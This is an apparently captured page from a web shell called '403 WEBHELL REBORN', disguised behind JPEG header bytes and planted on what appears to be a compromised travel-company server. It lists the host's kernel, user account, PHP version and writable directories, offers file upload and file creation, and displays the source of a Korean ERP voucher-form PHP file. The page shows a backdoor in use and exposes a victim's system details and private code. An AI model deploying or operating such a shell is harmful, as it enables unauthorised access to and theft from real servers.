ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/erp_231024/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/erp_231024/VoucherForm.ajax.php
<?php 
/*
 *
 * 상품 예약 > voucher ajax
 *
 */
 
include "../include/top_proc.html";


// 신규예약
if(!$SqlType) $SqlType="res_update";


?>

	<!-- VOUCHER 정보 -->

	<table width="72%" border="0" cellspacing="0" cellpadding="0" style="background-color:#FFF;">
		<tr>
			<td valign="top">
				<div class="pop_title" style="background-color:#edf0f5"><div class="lo_left">VOUCHER 정보</div> 
			</td>
		</tr>	

		<tr style="border-top:1.2px solid #555;">
			<td valign="top" width="100%">
				<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write">
						 <colgroup>
								<col style=" width:10%" />
								<col style=" width:90%" />
							</colgroup>

				<tbody>
					<tr>
						<th>코드타입</th>
						<td>
							<input type="radio" name="code_type" value="voucher"> Voucher Number&nbsp;&nbsp;
							<input type="radio" name="code_type" value="qrcode"> QRCODE Number
						</td>
					</tr>	

				</tbody>
				</table>
			</td>
		</tr>
	
	</table>
	<table width="72%" border="0" cellspacing="0" cellpadding="0" style="background-color:#FFF;">	
		<tr>
			<td valign="top">
				<div class="pop_title" style="background-color:#edf0f5"><div class="lo_left">코드항목 수량</div> 
			</td>
		</tr>		
		<tr>
			<td valign="top"  colspan="3">
				<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write">
				<tbody>
					<tr style="border-top:1.1px solid #555;">
						<th width="10%">코드항목</th>
						<td>
							<select name="code_num" id="code_num" class="" style="width:150px;" onchange="create_codeform();">
								<option value="">==수량선택==</option>
								<?for ($i=1 ; $i<=50 ; $i++){?>
								<option value="<?=$i?>"><?=$i?>개</option>
								<?}?>
							</select>
						</td>
					</tr>
				</tbody>
				</table>
			</td>
		</tr>
			
		<tr id="voucher_row" style="display:none;">
			<td valign="top">
					<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write">
						 <colgroup>
								<col style=" width:10%" />
								<col style=" width:90%" />
							</colgroup>

						<tr>
							<th>Voucher Number</th>
							<td>
								<table width="100%" border="0" cellspacing="0" cellpadding="0" class="item_addon_code_box">
									<tbody>
									</tbody>
								</table>
							</td>
						</tr>
					</table>
			</td>
		</tr>		

		<tr id="qrcode_row" style="display:none;">
			<td valign="top">
					<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write">
						 <colgroup>
								<col style=" width:10%" />
								<col style=" width:90%" />
							</colgroup>

						<tr>
							<th>QRCODE Number<br>(100 * 100px)</th>
							<td>
								<table width="100%" border="0" cellspacing="0" cellpadding="0" class="item_addon_code_box2">
									<tbody>
									</tbody>
								</table>
							</td>
						</tr>
					</table>
			</td>
		</tr>		
		<tr>
			<td height="20" style="background-color:#edf0f5;">&nbsp;</td>
		</tr>
		
		<tr>
			<td valign="top">
					<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write">
						 <colgroup>
								<col style=" width:10%" />
								<col style=" width:90%" />
							</colgroup>

						<tr>
							<th>Guest<br>Details</th>
							<td>
								<table width="100%" border="0" cellspacing="0" cellpadding="0" class="item_addon_guest_box">
									<thead>
										<tr>
											<th>Name</th>
											<th>Persons</th>
											<th>Nationality</th>
										</tr>
									</thead>
									<tbody>
									</tbody>
								</table>
							</td>
						</tr>
					</table>
			</td>
		</tr>		

	</table>	
	<p>&nbsp;</p>
	<table width="72%" border="0" cellspacing="0" cellpadding="0" style="background-color:#FFF;">	
		<tr>
			<td valign="top">
					<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write">
						 <colgroup>
								<col style=" width:10%" />
								<col style=" width:90%" />
							</colgroup>

						<tr>
							<th>VOUCHER<br>사용방법</th>
							<td>
								<table width="100%" border="0" cellspacing="0" cellpadding="0" id="setting_write_meeting">
									<tbody>
										<tr>
											<th style="width:15%">No.</th>
											<th style="width:80%">내용</th>
											<th style="width:5%">&nbsp;</th>
										</tr>
										<tr>
											<td>1</td>
											<td><input type="text" name="use_arr[]" class="input_text" style="width:80%"></td>
											<td><span onclick="useMethod('add');" style="cursor:pointer;">╂</span></td>
										</tr>
									</tbody>
								</table>
							</td>
						</tr>
						<tr>
							<th>미팅장소 및 교환장소<br>(700 * 345px)</th>
							<td>
								<input type="file" name="meeting_place" class="input_text" style="width:80%">
							</td>
						</tr>
						<tr>
							<th>Contact Us</th>
							<td>
								<textarea name="contact_us" style="width:90%;min-height:100px"></textarea>
							</td>
						</tr>
					</table>
			</td>
		</tr>		
		
	</table>	
	<!-- //VOUCHER 정보 -->

<script type="text/javascript">

	// voucher code 추가
	function create_codeform() {

		//  voucher code 스크립트
		var html_addon_code ='';
		var code_num = $("#frm_voucher select[name='code_num']").val();
		var code_type = $("input[name='code_type']:checked").val();

		if(!code_type)	{
			alert('코드타입을 먼저 선택하세요!');
			return false;
		}

		if(code_type=='voucher') {
			$("#voucher_row").show();
			$("#qrcode_row").hide();

			for(var i=0; i<code_num; i++) {
				html_addon_code += '<tr>';
				html_addon_code += '	<td><input name="code_item_arr[]" type="text" class="input_text" style="width:80%"></td>';
				html_addon_code += '</tr>';
			}

			html_addon_code += '<input type="hidden" name="code_count" value="'+code_num+'">';

			$(".item_addon_code_box tbody").append(html_addon_code);


		} else if(code_type=='qrcode') {
			$("#voucher_row").hide();
			$("#qrcode_row").show();


			for(var i=0; i<code_num; i++) {
				html_addon_code += '<tr>';
				html_addon_code += '	<td><input name="code_file_arr[]" type="file" style="width:80%"></td>';
				html_addon_code += '</tr>';
			}

			html_addon_code += '<input type="hidden" name="code_count" value="'+code_num+'">';

			$(".item_addon_code_box2 tbody").append(html_addon_code);

		}

		//  guest code 스크립트
		var html_addon_guest ='';

		for(var i=0; i<code_num; i++) {
			html_addon_guest += '<tr>';
			html_addon_guest += '	<td><input name="guest_name_arr[]" type="text"></td>';
			html_addon_guest += '	<td><input name="guest_person_arr[]" type="text"></td>';
			html_addon_guest += '	<td><input name="guest_nationality_arr[]" type="text"></td>';
			html_addon_guest += '</tr>';
		}

		//html_addon_guest += '<input type="hidden" name="guest_num" value="'+code_num+'">';

		$(".item_addon_guest_box tbody").append(html_addon_guest);


	}


	function useMethod(_m,$o)
	{
		var str;

		var trNum = $("#setting_write_meeting tbody tr").length;
			
		str=	'<tr>'+
					'<td>'+trNum+'</td>'+
					'<td><input type="text" class="input_text" name="use_arr[]" value="" style="width:80%"></td>'+
					'<td><span onclick="useMethod(\'add\');" style="cursor:pointer;">╂</span> <span onclick="useMethod(\'del\',$(this));" style="cursor:pointer;">─</span></td>'+
					'</tr>';

		switch(_m){
			case "add":
					$("#setting_write_meeting tbody").append(str);
				break;
			case "del":
					$o.parent().parent("tr").remove();
				break;
		}
	}


</script>


		
		

Anon7 - 2021